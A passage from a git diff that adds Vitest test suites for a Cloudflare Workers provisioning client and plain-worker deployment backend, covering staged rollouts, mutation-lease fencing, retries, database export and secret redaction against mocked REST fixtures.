'type') === 'secret_text' && + typeof Reflect.get(binding, 'name') === 'string' + ? [{ name: Reflect.get(binding, 'name') }] + : [], + ); + return pageArray(names); + } + const script = world.scripts.get(baseSpec.scriptName); + if ( + options.failInitialSubdomain && + request.method === 'POST' && + url.pathname.endsWith('/subdomain') && + script?.versions.length === 1 + ) { + return Response.json( + { success: false, errors: [{ code: 1, message: 'subdomain failed' }] }, + { status: 500 }, + ); + } + const response = await projected(request); + const updatedScript = world.scripts.get(baseSpec.scriptName); + if ( + request.method === 'PUT' && + url.pathname.endsWith(`/workers/scripts/${baseSpec.scriptName}`) && + updatedScript?.versions[0] + ) { + updatedScript.deployment = [ + { versionId: updatedScript.versions[0].versionId, percentage: 100 }, + ]; + } + return response; + }; +} + +function subject( + handler: CloudflareFixtureHandler, + maintenanceFetch: typeof fetch = async () => maintenanceResponse(nextSpec), +) { + const fixture = recordingFetch(handler); + const client = new CloudflareProvisioningClient({ + accountId: 'account', + apiToken: 'token', + plane: 'plain-worker', + rateCoordinator: testRateCoordinator(), + fetch: fixture.fetch, + requestTimeoutMs: 1_000, + exportStore: memoryStore(), + }); + return { + backend: new CloudflareApiPlainWorkerBackend({ + client, + fetch: maintenanceFetch, + maintenanceRequestTimeoutMs: 1_000, + }), + fixture, + }; +} + +describe('CloudflareApiPlainWorkerBackend', () => { + it('requires a Cloudflare client instance and exposes the plain-worker kind', () => { + expect( + () => + new CloudflareApiPlainWorkerBackend({ + client: {} as CloudflareProvisioningClient, + }), + ).toThrow('client must be a CloudflareProvisioningClient instance'); + const { backend } = subject(projectedHandler(providerWorld())); + expect(backend.kind).toBe('plain-worker'); + }); + + it('passes its identity caller token into deployment-identity refusals', async () => { + const { backend, fixture } = subject(projectedHandler(providerWorld())); + + await expect( + backend.seedDeploymentIdentity(database, 'INVALID TAG', fence(), { + initialExecutionFenceState: 'open', + }), + ).rejects.toThrow('CloudflareApiPlainWorkerBackend.seedDeploymentIdentity'); + expect(fixture.requests).toHaveLength(0); + }); + + it('refuses a reconciled initial upload whose public access did not converge', async () => { + const world = providerWorld(); + const { backend, fixture } = subject( + projectedHandler(world, { failInitialSubdomain: true }), + async () => maintenanceResponse(baseSpec), + ); + + const error = await backend + .deployWorker(baseSpec, database, secrets, undefined, fence()) + .catch((cause: unknown) => cause); + expect(error).toMatchObject>({ + name: 'WorkerDeploymentError', + createdByAttempt: true, + }); + expect(error).toBeInstanceOf(WorkerDeploymentError); + const causes = + error instanceof WorkerDeploymentError && + error.cause instanceof AggregateError + ? error.cause.errors + : []; + expect(causes).toEqual( + expect.arrayContaining([ + expect.objectContaining({ + message: expect.stringContaining( + "reconciled Worker upload for 'acme-production' did not converge public access", + ), + }), + ]), + ); + expect( + fixture.requests.some( + ({ method, url }) => + method === 'POST' && new URL(url).pathname.endsWith('/subdomain'), + ), + ).toBe(true); + const script = world.scripts.get(baseSpec.scriptName); + expect(script).toBeDefined(); + expect(script?.versions.length).toBeGreaterThan(0); + }); + + it('runs an initial deploy, staged maintenance, promotion, and ready inspection over REST', async () => { + const world = providerWorld(); + const maintenanceFetch = vi.fn(async () => maintenanceResponse(nextSpec)); + const { backend, fixture } = subject( + projectedHandler(world), + maintenanceFetch, + ); + const owned = fence(); + + const initial = await backend.deployWorker( + baseSpec, + database, + secrets, + undefined, + owned, + ); + const staged = await backend.deployWorker( + nextSpec, + database, + secrets, + undefined, + owned, + ); + expect(world.scripts.get(baseSpec.scriptName)?.deployment).toEqual([ + { versionId: initial.artifactVersion, percentage: 100 }, + { versionId: staged.artifactVersion, percentage: 0 }, + ]); + + await backend.ensureMaintenance( + nextSpec, + secrets.maintenanceAdmin, + owned, + staged.artifactVersion, + ); + await backend.promoteWorker( + nextSpec, + { allowedCurrentScriptNames: [nextSpec.scriptName], allowUnrouted: true }, + undefined, + owned, + staged.artifactVersion, + ); + await expect( + backend.inspect( + nextSpec, + secrets.maintenanceAdmin, + staged.artifactVersion, + ), + ).resolves.toMatchObject({ + artifactVersion: staged.artifactVersion, + desiredSpecDigest: deploymentSpecDigest(nextSpec), + databaseId: database.id, + maintenance: { armed: true }, + }); + + expect(maintenanceFetch).toHaveBeenCalledTimes(2); + const accountPrefix = '/client/v4/accounts/account'; + expect( + fixture.requests.map(({ method, url }) => { + const pathname = new URL(url).pathname; + if (!pathname.startsWith(accountPrefix)) { + throw new Error( + `recorded provider path lacks account prefix: ${pathname}`, + ); + } + return `${method} ${pathname.slice(accountPrefix.length)}`; + }), + ).toEqual([ + 'GET /workers/scripts/acme-production/deployments', + 'GET /workers/scripts/acme-production/versions', + 'PUT /workers/scripts/acme-production', + 'POST /workers/scripts/acme-production/subdomain', + 'GET /workers/scripts/acme-production/versions', + 'GET /workers/scripts/acme-production/versions', + 'GET /workers/scripts/acme-production/versions/version-1', + 'GET /workers/scripts/acme-production/deployments', + 'GET /workers/scripts/acme-production/deployments', + 'GET /workers/scripts/acme-production/versions', + 'GET /workers/scripts/acme-production/versions', + 'GET /workers/scripts/acme-production/versions/version-1', + 'GET /workers/scripts/acme-production/subdomain', + 'POST /workers/scripts/acme-production/versions', + 'GET /workers/scripts/acme-production/versions', + 'GET /workers/scripts/acme-production/versions', + 'GET /workers/scripts/acme-production/versions/version-2', + 'GET /workers/scripts/acme-production/deployments', + 'POST /workers/scripts/acme-production/deployments', + 'GET /workers/scripts/acme-production/versions', + 'GET /workers/scripts/acme-production/versions', + 'GET /workers/scripts/acme-production/versions/version-2', + 'GET /workers/scripts/acme-production/deployments', + 'GET /workers/scripts/acme-production/versions', + 'GET /workers/scripts/acme-production/versions', + 'GET /workers/scripts/acme-production/versions/version-2', + 'GET /workers/scripts/acme-production/deployments', + 'GET /workers/domains', + 'POST /workers/scripts/acme-production/deployments', + 'GET /workers/domains', + 'PUT /workers/domains', + 'GET /workers/domains', + 'GET /workers/scripts/acme-production/deployments', + 'GET /workers/scripts/acme-production/versions', + 'GET /workers/scripts/acme-production/versions', + 'GET /workers/scripts/acme-production/versions/version-2', + 'GET /workers/scripts/acme-production/versions/version-2', + 'GET /workers/scripts/acme-production/secrets', + ]); + }); +}); diff --git a/packages/fleet-control/test/cloudflare-api-plain-worker-provisioning-api.test.ts b/packages/fleet-control/test/cloudflare-api-plain-worker-provisioning-api.test.ts new file mode 100644 index 00000000..0fe62c72 --- /dev/null +++ b/packages/fleet-control/test/cloudflare-api-plain-worker-provisioning-api.test.ts @@ -0,0 +1,679 @@ +// SPDX-License-Identifier: Apache-2.0 + +import { describe, expect, it, vi } from 'vitest'; +import { CloudflareApiPlainWorkerProvisioningApi } from '../src/cloudflare-api-plain-worker-provisioning-api.js'; +import { CloudflareProvisioningClient } from '../src/cloudflare-client.js'; +import type { + ExternalMutationFence, + PlainWorkerUploadIntent, +} from '../src/types.js'; +import { + type CloudflareFixtureHandler, + deferred, + errorChain, + providerWorld, + recordingFetch, + restProjection, + single, + testRateCoordinator, +} from './fixtures/cloudflare-fetch-fixture.js'; +import { + memoryStore, + mutationFence, + rejectedValue, +} from './fixtures/plain-worker-port-probe.js'; + +function uploadIntent(mode: 'initial' | 'staged'): PlainWorkerUploadIntent { + const base = { + scriptName: 'acme-production', + candidateTag: 'a'.repeat(64), + mainModule: 'worker.js', + modules: [ + { + name: 'worker.js', + content: 'export default { fetch() {} }', + }, + ], + compatibilityDate: '2026-08-26', + compatibilityFlags: ['nodejs_compat'], + bindings: { + plainText: [{ name: 'DEPLOYMENT_TENANT', value: 'acme' }], + secrets: [{ name: 'SECRET', value: 'secret-value' }], + d1: [ + { + name: 'DB', + databaseId: 'database-1', + databaseName: 'acme-production', + }, + ], + durableObjects: [], + services: [], + queueProducers: [], + r2Buckets: [], + }, + limits: { cpuMs: 30_000 }, + publicAccess: { + workersDevEnabled: true, + previewUrlsEnabled: false, + }, + } as const; + return mode === 'initial' + ? { ...base, mode, durableObjectMigrations: [] } + : { ...base, mode }; +} + +function subject( + handler: CloudflareFixtureHandler, + options: { + readonly events?: string[]; + readonly exportStore?: ConstructorParameters< + typeof CloudflareProvisioningClient + >[0]['exportStore']; + readonly formDataProbe?: 'unsupported'; + readonly concurrency?: number; + } = {}, +) { + const events = options.events ?? []; + const fixture = recordingFetch(handler, events, { + formDataProbe: options.formDataProbe, + }); + const client = new CloudflareProvisioningClient({ + accountId: 'account', + apiToken: 'token', + plane: 'plain-worker', + rateCoordinator: testRateCoordinator(undefined, events), + fetch: fixture.fetch, + requestTimeoutMs: 1_000, + exportStore: options.exportStore, + concurrency: options.concurrency, + }); + return { + api: new CloudflareApiPlainWorkerProvisioningApi({ client }), + client, + fixture, + }; +} + +function emptyScriptWorld( + subdomain = { enabled: false, previewsEnabled: false }, +) { + const world = providerWorld(); + world.scripts.set('acme-production', { + versions: [], + subdomain, + }); + return world; +} + +function ownedFence(events?: string[]): ExternalMutationFence { + return mutationFence( + vi.fn(async () => { + events?.push('assertOwned'); + }), + ); +} + +function outcomeOperations( + api: CloudflareApiPlainWorkerProvisioningApi, + fence: ExternalMutationFence, +): Record< + 'createDatabase' | 'uploadCandidate' | 'createDeployment', + () => Promise +> { + return { + createDatabase: () => api.createDatabase('acme-production', fence), + uploadCandidate: () => api.uploadCandidate(uploadIntent('initial'), fence), + createDeployment: () => + api.createDeployment( + 'acme-production', + [{ versionId: 'version-1', percentage: 100 }], + fence, + ), + }; +} + +describe('CloudflareApiPlainWorkerProvisioningApi', () => { + it('projects the REST world through the provider-neutral read port', async () => { + const world = providerWorld(); + world.databases.push({ databaseId: 'database-1', name: 'acme-production' }); + world.scripts.set('acme-production', { + versions: [ + { + versionId: 'version-1', + tag: 'a'.repeat(64), + bindings: [ + { type: 'd1', name: 'DB', database_id: 'database-1' }, + { type: 'plain_text', name: 'DEPLOYMENT_TENANT', text: 'acme' }, + ], + }, + ], + deployment: [{ versionId: 'version-1', percentage: 100 }], + subdomain: { enabled: true, previewsEnabled: false }, + }); + const { api } = subject(restProjection(world)); + + await expect(api.listDatabases()).resolves.toEqual([ + { databaseId: 'database-1', name: 'acme-production' }, + ]); + await expect(api.getDatabase('database-1')).resolves.toEqual({ + id: 'database-1', + name: 'acme-production', + created: false, + }); + await expect(api.deploymentStatus('acme-production')).resolves.toEqual({ + versions: [{ versionId: 'version-1', percentage: 100 }], + }); + await expect(api.listVersions('acme-production')).resolves.toEqual([ + { versionId: 'version-1', tag: 'a'.repeat(64) }, + ]); + await expect( + api.viewVersion('acme-production', 'version-1'), + ).resolves.toMatchObject({ + versionId: 'version-1', + tag: 'a'.repeat(64), + bindings: [ + { type: 'd1', name: 'DB', databaseId: 'database-1' }, + { type: 'plain-text', name: 'DEPLOYMENT_TENANT', value: 'acme' }, + ], + }); + await expect( + api.findVersion('acme-production', 'absent'), + ).resolves.toBeUndefined(); + }); + + it.each([ + 'createDatabase', + 'uploadCandidate', + 'createDeployment', + ] as const)('rejects %s fence loss before dispatch', async (operation) => { + const world = emptyScriptWorld(); + const { api, fixture } = subject(restProjection(world)); + const denied = new Error('lease lost'); + const fence = mutationFence(vi.fn(async () => Promise.reject(denied))); + const selected = outcomeOperations(api, fence)[operation]; + + await expect(selected()).rejects.toBe(denied); + expect(fixture.requests).toHaveLength(0); + }); + + it.each([ + 'createDatabase', + 'uploadCandidate', + 'createDeployment', + ] as const)('rejects %s timeout validation instead of returning a failed outcome', async (operation) => { + const world = emptyScriptWorld(); + const { api, fixture } = subject(restProjection(world)); + const fence = { mutationLeaseTtlMs: 0, assertOwned: vi.fn(async () => {}) }; + const selected = outcomeOperations(api, fence)[operation]; + + await expect(selected()).rejects.toThrow( + 'external mutation fence lease TTL must be positive', + ); + expect(fixture.requests).toHaveLength(0); + }); + + it('rejects upload and deployment preparation failures before dispatch', async () => { + const world = emptyScriptWorld(); + const { api, fixture } = subject(restProjection(world)); + const malformed = { + ...uploadIntent('initial'), + modules: [{ name: 'worker.js', content: null }], + } as unknown as PlainWorkerUploadIntent; + const malformedBinding = { + ...uploadIntent('initial'), + bindings: { + ...uploadIntent('initial').bindings, + plainText: [null], + }, + } as unknown as PlainWorkerUploadIntent; + + await expect(api.uploadCandidate(malformed, ownedFence())).rejects.toThrow( + 'valid upload data', + ); + await expect( + api.uploadCandidate(malformedBinding, ownedFence()), + ).rejects.toThrow(TypeError); + await expect( + api.createDeployment( + 'acme-production', + [{ versionId: 'version-1', percentage: Number.NaN }], + ownedFence(), + ), + ).rejects.toThrow('finite values from 0 to 100'); + expect(fixture.requests).toHaveLength(0); + expect(fixture.probes).toHaveLength(0); + }); + + it.each([ + ['initial', 0], + ['staged', 1], + ] as const)('rejects a %s upload when multipart preparation fails', async (mode, expectedReads) => { + const world = emptyScriptWorld({ + enabled: true, + previewsEnabled: false, + }); + const { api, fixture } = subject(restProjection(world), { + formDataProbe: 'unsupported', + }); + + await expect( + api.uploadCandidate(uploadIntent(mode), ownedFence()), + ).rejects.toThrow(TypeError); + expect(fixture.requests).toHaveLength(expectedReads); + expect( + fixture.requests.filter(({ method }) => method !== 'GET'), + ).toHaveLength(0); + if (mode === 'staged') { + expect( + fixture.requests.map(({ method, url }) => [ + method, + new URL(url).pathname, + ]), + ).toEqual([ + [ + 'GET', + '/client/v4/accounts/account/workers/scripts/acme-production/subdomain', + ], + ]); + } + }); + + it('rejects when the fetch wrapper fails before issuing the staged read', async () => { + const providerFixture = recordingFetch(restProjection(emptyScriptWorld())); + const providerIssued = vi.fn(providerFixture.fetch); + const transportFailure = new TypeError( + 'transport refused before issuing request', + ); + const beforeIssue = (): void => { + throw transportFailure; + }; + const wrapperInvoked = vi.fn((input, init) => { + beforeIssue(); + return providerIssued(input, init); + }); + const client = new CloudflareProvisioningClient({ + accountId: 'account', + apiToken: 'token', + plane: 'plain-worker', + rateCoordinator: testRateCoordinator(), + fetch: wrapperInvoked, + requestTimeoutMs: 1_000, + }); + const api = new CloudflareApiPlainWorkerProvisioningApi({ client }); + + const failure = await api + .uploadCandidate(uploadIntent('staged'), ownedFence()) + .catch((error: unknown) => error); + + expect(errorChain(failure)).toContain(transportFailure.message); + // Reads keep the SDK's two retries; D16 disables retries only on the + // listed non-idempotent mutations. + expect(wrapperInvoked).toHaveBeenCalledTimes(3); + expect(providerIssued).not.toHaveBeenCalled(); + expect(providerFixture.requests).toHaveLength(0); + }); + + it('returns failed when a staged public-access write fails', async () => { + const { api, fixture } = subject(({ method, url }) => { + const target = new URL(url); + if (target.pathname.endsWith('/subdomain') && method === 'GET') { + return single({ enabled: false, previews_enabled: false }); + } + if (target.pathname.endsWith('/subdomain') && method === 'POST') { + return Response.json( + { success: false, errors: [{ code: 1, message: 'failed' }] }, + { status: 500 }, + ); + } + throw new Error(`unexpected request ${method} ${target.pathname}`); + }); + + await expect( + api.uploadCandidate(uploadIntent('staged'), ownedFence()), + ).resolves.toMatchObject({ status: 'failed' }); + // Idempotent subdomain writes keep the SDK's two retries; D16 disables + // retries only on the listed non-idempotent mutations. + expect( + fixture.requests.filter( + ({ method, url }) => + method === 'POST' && new URL(url).pathname.endsWith('/subdomain'), + ), + ).toHaveLength(3); + expect( + fixture.requests.some(({ url }) => + new URL(url).pathname.endsWith('/versions'), + ), + ).toBe(false); + }); + + it.each([ + 'initial', + 'staged', + ] as const)('returns failed and redacts a dispatched %s upload failure', async (mode) => { + const secret = 'secret-value'; + const { api } = subject(({ method }) => + method === 'GET' + ? single({ enabled: true, previews_enabled: false }) + : Response.json( + { + success: false, + errors: [{ code: 1, message: `echoed ${secret}` }], + }, + { status: 500 }, + ), + ); + + const outcome = await api.uploadCandidate(uploadIntent(mode), ownedFence()); + expect(outcome).toMatchObject({ status: 'failed' }); + expect(JSON.stringify(outcome)).not.toContain(secret); + expect(JSON.stringify(outcome)).toContain('[redacted]'); + }); + + it.each([ + 'createDatabase', + 'uploadCandidate', + 'createDeployment', + ] as const)('returns a failed value after a dispatched %s failure', async (operation) => { + const { api, fixture } = subject(async () => + Response.json( + { success: false, errors: [{ code: 1, message: 'failed' }] }, + { status: 500 }, + ), + ); + const selected = outcomeOperations(api, ownedFence())[operation]; + const result = await selected(); + + expect(result).toMatchObject({ status: 'failed' }); + expect( + Boolean(result && typeof result === 'object' && 'cleanup' in result), + ).toBe(operation === 'uploadCandidate'); + if (result && typeof result === 'object' && 'cleanup' in result) { + expect(result.cleanup).toEqual({ status: 'succeeded' }); + } + expect(fixture.requests).toHaveLength(1); + }); + + it.each([ + ['createDatabase', 'createDatabase'], + ['uploadCandidate initial', 'uploadInitial'], + ['uploadCandidate staged', 'uploadStaged'], + ['createDeployment', 'createDeployment'], + ] as const)('rejects %s when the transport fence fails before mutation dispatch', async (_label, operation) => { + const world = emptyScriptWorld({ + enabled: true, + previewsEnabled: false, + }); + const { api, fixture } = subject(restProjection(world)); + const fenceError = new Error('transport lease assertion failed'); + let assertions = 0; + const assertOwned = vi.fn(async () => { + assertions += 1; + if (assertions === 2) throw fenceError; + }); + const fence = mutationFence(assertOwned); + const invoke = (): Promise => { + switch (operation) { + case 'createDatabase': + return api.createDatabase('new-database', fence); + case 'uploadInitial': + return api.uploadCandidate(uploadIntent('initial'), fence); + case 'uploadStaged': + return api.uploadCandidate(uploadIntent('staged'), fence); + case 'createDeployment': + return api.createDeployment( + 'acme-production', + [{ versionId: 'version-1', percentage: 100 }], + fence, + ); + } + }; + + const failure = await invoke().catch((error: unknown) => error); + expect(errorChain(failure)).toContain(fenceError.message); + expect(assertOwned).toHaveBeenCalledTimes(2); + expect( + fixture.requests.filter( + ({ method }) => method !== 'GET' && method !== 'HEAD', + ), + ).toHaveLength(0); + if (operation === 'uploadStaged') { + expect(fixture.requests).toHaveLength(1); + expect(fixture.requests[0]).toMatchObject({ method: 'GET' }); + } else { + expect(fixture.requests).toHaveLength(0); + } + }); + + it.each([ + 'createDeployment', + 'createDatabase', + ] as const)('classifies a queued dispatched %s failure', async (operation) => { + const heldResponse = deferred(); + const heldStarted = deferred(); + const { api, client } = subject( + ({ method }) => { + if (method === 'GET') { + heldStarted.resolve(); + return heldResponse.promise; + } + return Response.json( + { success: false, errors: [{ code: 1, message: 'failed' }] }, + { status: 500 }, + ); + }, + { concurrency: 1 }, + ); + const held = client.findOrdinaryWorkerVersion('hold', 'held-version'); + await heldStarted.promise; + const queued = + operation === 'createDatabase' + ? api.createDatabase('new-database', ownedFence()) + : api.createDeployment( + 'acme-production', + [{ versionId: 'version-1', percentage: 100 }], + ownedFence(), + ); + heldResponse.resolve( + single({ id: 'held-version', resources: { bindings: [] } }), + ); + + await expect(held).resolves.toMatchObject({ versionId: 'held-version' }); + await expect(queued).resolves.toMatchObject({ status: 'failed' }); + }); + + it('returns failed when a staged write precedes multipart preparation failure', async () => { + const { api, fixture } = subject( + ({ method, url }) => { + const target = new URL(url); + if (target.pathname.endsWith('/subdomain') && method === 'GET') { + return single({ enabled: false, previews_enabled: false }); + } + if (target.pathname.endsWith('/subdomain') && method === 'POST') { + return single({ enabled: true, previews_enabled: false }); + } + throw new Error(`unexpected request ${method} ${target.pathname}`); + }, + { formDataProbe: 'unsupported' }, + ); + + await expect( + api.uploadCandidate(uploadIntent('staged'), ownedFence()), + ).resolves.toMatchObject({ status: 'failed' }); + expect( + fixture.requests.map(({ method, url }) => [ + method, + new URL(url).pathname, + ]), + ).toEqual([ + [ + 'GET', + '/client/v4/accounts/account/workers/scripts/acme-production/subdomain', + ], + [ + 'POST', + '/client/v4/accounts/account/workers/scripts/acme-production/subdomain', + ], + ]); + }); + + it('pins the pre-assert, quota, transport re-attestation, and request order', async () => { + const events: string[] = []; + const world = providerWorld(); + const { api } = subject(restProjection(world), { events }); + + await expect( + api.createDatabase('acme-production', ownedFence(events)), + ).resolves.toEqual({ status: 'succeeded' }); + expect(events).toEqual([ + 'assertOwned', + 'quota:acquire', + 'assertOwned', + 'request:/client/v4/accounts/account/d1/database', + ]); + }); + + it('runs deletion and export requests inside the fenced client scope', async () => { + const world = emptyScriptWorld(); + world.databases.push({ databaseId: 'database-1', name: 'acme-production' }); + const projected = restProjection(world); + const handler: CloudflareFixtureHandler = async (request) => { + const url = new URL(request.url); + if (url.hostname === 'download.example.test') { + expect(request.headers.has('authorization')).toBe(false); + return new Response('CREATE TABLE example (id TEXT);'); + } + if (url.pathname.endsWith('/d1/database/database-1/export')) { + return single({ + status: 'complete', + result: { + signed_url: 'https://download.example.test/export.sql?sig=secret', + }, + }); + } + return projected(request); + }; + const { api } = subject(handler, { exportStore: memoryStore() }); + const fence = ownedFence(); + + await expect( + api.exportDatabase({ id: 'database-1', name: 'acme-production' }, fence), + ).resolves.toMatchObject({ location: 'memory://export', size: 31 }); + await expect( + api.deleteWorkerScript('acme-production', fence), + ).resolves.toBe('deleted'); + await expect( + api.deleteDatabaseFenced('database-1', fence), + ).resolves.toBeUndefined(); + }); + + it('classifies only provider 404 as an absent Worker', async () => { + const absent = subject(async () => + Response.json({ success: false, errors: [] }, { status: 404 }), + ); + await expect( + absent.api.deleteWorkerScript('absent', ownedFence()), + ).resolves.toBe('absent'); + + const forbidden = subject(async () => + Response.json({ success: false, errors: [] }, { status: 403 }), + ); + await expect( + forbidden.api.deleteWorkerScript('forbidden', ownedFence()), + ).rejects.toMatchObject({ status: 403 }); + }); + + it('propagates durable export integrity failures', async () => { + const handler: CloudflareFixtureHandler = async (request) => { + const url = new URL(request.url); + if (url.hostname === 'download.example.test') return new Response('sql'); + return single({ + status: 'complete', + result: { signed_url: 'https://download.example.test/export.sql' }, + }); + }; + const { api } = subject(handler, { + exportStore: { + async write() { + return { + location: 'memory://bad', + size: 999, + sha256: '0'.repeat(64), + }; + }, + }, + }); + + await expect( + api.exportDatabase( + { id: 'database-1', name: 'acme-production' }, + ownedFence(), + ), + ).rejects.toThrow('committed durable D1 export integrity differs'); + }); + + it('does not dispatch any mutation after lease takeover following reads', async () => { + const world = emptyScriptWorld(); + world.databases.push({ databaseId: 'database-1', name: 'acme-production' }); + const { api, fixture } = subject(restProjection(world), { + exportStore: memoryStore(), + }); + await api.listDatabases(); + await api.listVersions('acme-production'); + fixture.requests.length = 0; + const denied = new Error('lease taken over'); + const lost = mutationFence(vi.fn(async () => Promise.reject(denied))); + + const operations: Array Promise, boolean]> = [ + [() => api.createDatabase('new-database', lost), true], + [() => api.uploadCandidate(uploadIntent('staged'), lost), true], + [ + () => + api.createDeployment( + 'acme-production', + [{ versionId: 'version-1', percentage: 100 }], + lost, + ), + true, + ], + [() => api.deleteWorkerScript('acme-production', lost), true], + [ + () => api.deleteDatabaseFenced('database-1', lost), + // This row alone has no adapter pre-assert, so its lease error crosses + // the SDK fetch boundary and arrives wrapped. + false, + ], + [ + () => + api.exportDatabase( + { id: 'database-1', name: 'acme-production' }, + lost, + ), + true, + ], + ]; + for (const [operation, preservesLeaseError] of operations) { + const failure = await rejectedValue(operation()); + expect(failure).toBeDefined(); + if (preservesLeaseError) expect(failure).toBe(denied); + } + expect(fixture.requests).toHaveLength(0); + }); + + it('sanitizes a falsy transport failure without changing cleanup classification', async () => { + const { api } = subject(async () => { + throw undefined; + }); + const outcome = await api.uploadCandidate( + uploadIntent('initial'), + ownedFence(), + ); + expect(outcome).toMatchObject({ + status: 'failed', + cleanup: { status: 'succeeded' }, + error: { + name: 'CloudflareProviderError', + message: 'Cloudflare Worker upload failed', + }, + }); + }); +}); diff --git a/packages/fleet-control/test/cloudflare-client-plain-worker.test.ts b/packages/fleet-control/test/cloudflare-client-plain-worker.test.ts new file mode 100644 index 00000000..24d29361 --- /dev/null +++ b/packages/fleet-control/test/cloudflare-client-plain-worker.test.ts @@ -0,0 +1,1843 @@ +// SPDX-License-Identifier: Apache-2.0 + +import { AsyncLocalStorage } from 'node:async_hooks'; +import { BaseNamespaces } from 'cloudflare/resources/workers-for-platforms/dispatch/namespaces/namespaces'; +import { afterEach, describe, expect, it, vi } from 'vitest'; +import { + CloudflarePlaneCapabilityError, + CloudflareProviderRequestNotDispatchedError, + CloudflareProvisioningClient, + type DurableDatabaseExportStore, + withProviderDispatchTracking, +} from '../src/cloudflare-client.js'; +import type { + PlainWorkerUploadIntent, + PlainWorkerVersionBinding, +} from '../src/types.js'; +import { + deferred, + errorChain, + fenced, + pageArray, + pageItems, + providerWorld, + recordingFetch, + restProjection, + single, + testRateCoordinator, + zoneAuthorityResponse, +} from './fixtures/cloudflare-fetch-fixture.js'; + +// Shared-client WFP-plane cases live here because the legacy WFP suite is +// intentionally imports-only under the checkpoint allowlist. + +function apiFailure(status: number, message = 'provider failure'): Response { + return Response.json( + { + success: false, + errors: [{ code: 10_000 + status, message }], + messages: [], + result: null, + }, + { status }, + ); +} + +function uploadIntent(mode: 'initial' | 'staged'): PlainWorkerUploadIntent { + const base = { + scriptName: 'plain', + candidateTag: 'candidate-tag', + mainModule: 'worker.js', + modules: [ + { name: 'worker.js', content: 'export default {}' }, + { + name: 'data.txt', + content: 'data', + contentType: 'text/plain', + }, + ], + compatibilityDate: '2026-08-26', + compatibilityFlags: ['nodejs_compat'], + bindings: { + plainText: [{ name: 'TEXT', value: 'value' }], + secrets: [{ name: 'SECRET', value: 'super-secret' }], + d1: [{ name: 'DB', databaseId: 'db-id', databaseName: 'db-name' }], + durableObjects: [{ name: 'STATE', className: 'State' }], + services: [{ name: 'SERVICE', service: 'upstream' }], + queueProducers: [{ name: 'QUEUE', queueName: 'jobs' }], + r2Buckets: [{ name: 'BUCKET', bucketName: 'objects' }], + }, + limits: { cpuMs: 42 }, + publicAccess: { + workersDevEnabled: false, + previewUrlsEnabled: false, + }, + }; + return mode === 'initial' + ? { + ...base, + mode, + durableObjectMigrations: [{ tag: 'v1', newSqliteClasses: ['State'] }], + } + : { ...base, mode }; +} + +function plainClient( + options: { + readonly fetch?: typeof fetch; + readonly rateCoordinator?: { acquire(signal?: AbortSignal): Promise }; + readonly exportStore?: DurableDatabaseExportStore; + readonly concurrency?: number; + readonly requestTimeoutMs?: number; + } = {}, +): CloudflareProvisioningClient { + return new CloudflareProvisioningClient({ + accountId: 'account', + apiToken: 'token', + plane: 'plain-worker', + rateCoordinator: options.rateCoordinator ?? testRateCoordinator(), + fetch: options.fetch, + exportStore: options.exportStore, + concurrency: options.concurrency, + requestTimeoutMs: options.requestTimeoutMs, + }); +} + +function ownSerialization(value: unknown): string { + const seen = new WeakSet(); + return JSON.stringify(value, (_key, candidate) => { + if (!candidate || typeof candidate !== 'object') return candidate; + if (seen.has(candidate)) return '[circular]'; + seen.add(candidate); + return Object.fromEntries( + Object.getOwnPropertyNames(candidate).map((name) => [ + name, + Reflect.get(candidate, name), + ]), + ); + }); +} + +function fact(value: unknown, name: string): unknown { + return value && typeof value === 'object' + ? Reflect.get(value, name) + : undefined; +} + +function hasFact(value: unknown, name: string): boolean { + return Boolean( + value && typeof value === 'object' && Reflect.has(value, name), + ); +} + +function boundedErrorCauses( + error: unknown, + max = 20, +): { readonly errors: readonly Error[]; readonly terminal: unknown } { + const errors: Error[] = []; + let current = fact(error, 'cause'); + while (current instanceof Error && errors.length < max) { + errors.push(current); + current = current.cause; + } + return { errors, terminal: current }; +} + +async function failedInitialUpload(error: Error): Promise { + const fixture = recordingFetch(() => Promise.reject(error)); + const client = plainClient({ fetch: fixture.fetch }); + const prepared = await client.prepareOrdinaryWorkerUpload( + uploadIntent('initial'), + ); + return fenced(client, () => + client.dispatchOrdinaryWorkerUpload(prepared), + ).catch((failure: unknown) => failure); +} + +function nestedTransportFailure(leaf: Error): Error { + // The SDK inspects the rejection and its immediate cause before wrapping + // (client.mjs:378-390); depth 3 places the hostile leaf below both, so every + // row reaches this boundary whichever operation is hostile. Some hazards + // (a prototype trap, a cause or constructor accessor) may reach it from a + // shallower depth; depth 3 is sufficient for every row. + return new Error('outer transport failure', { + cause: new Error('middle transport failure', { cause: leaf }), + }); +} + +afterEach(() => { + vi.restoreAllMocks(); +}); + +describe('CloudflareProvisioningClient plain-worker plane', () => { + it('a queued mutation asserts its own lease', async () => { + const response = deferred(); + const started = deferred(); + const fixture = recordingFetch(() => { + started.resolve(); + return response.promise; + }); + const client = plainClient({ + concurrency: 1, + fetch: fixture.fetch, + requestTimeoutMs: 1_000, + }); + const firstAssertOwned = vi.fn(async () => {}); + let secondOwned = true; + const secondFenceError = new Error('second mutation lease lost'); + const secondAssertOwned = vi.fn(async () => { + if (!secondOwned) throw secondFenceError; + }); + const firstPrepared = client.prepareOrdinaryWorkerDeployment([ + { versionId: 'v1', percentage: 100 }, + ]); + const secondPrepared = client.prepareOrdinaryWorkerDeployment([ + { versionId: 'v2', percentage: 100 }, + ]); + const first = client.withMutationFence( + { mutationLeaseTtlMs: 2_000, assertOwned: firstAssertOwned }, + () => client.dispatchOrdinaryWorkerDeployment('first', firstPrepared), + ); + await started.promise; + const second = client.withMutationFence( + { mutationLeaseTtlMs: 2_000, assertOwned: secondAssertOwned }, + () => client.dispatchOrdinaryWorkerDeployment('second', secondPrepared), + ); + secondOwned = false; + response.resolve(single({ id: 'deployment' })); + + await expect(first).resolves.toBeUndefined(); + const failure = await second.catch((error: unknown) => error); + expect(errorChain(failure)).toContain(secondFenceError.message); + expect(fixture.requests).toHaveLength(1); + expect(firstAssertOwned).toHaveBeenCalledOnce(); + }); + + it('a queued operation classifies its own dispatch after p-queue handoff', async () => { + const readResponse = deferred(); + const readStarted = deferred(); + const fixture = recordingFetch(({ method }) => { + if (method !== 'GET') return apiFailure(500); + readStarted.resolve(); + return readResponse.promise; + }); + const client = plainClient({ concurrency: 1, fetch: fixture.fetch }); + const secondSettled = deferred(); + const sentinel = new Error('first operation failed locally'); + const first = withProviderDispatchTracking(client, async () => { + await client.findOrdinaryWorkerVersion('plain', 'v1'); + await secondSettled.promise; + throw sentinel; + }); + await readStarted.promise; + const prepared = client.prepareOrdinaryWorkerDeployment([ + { versionId: 'v2', percentage: 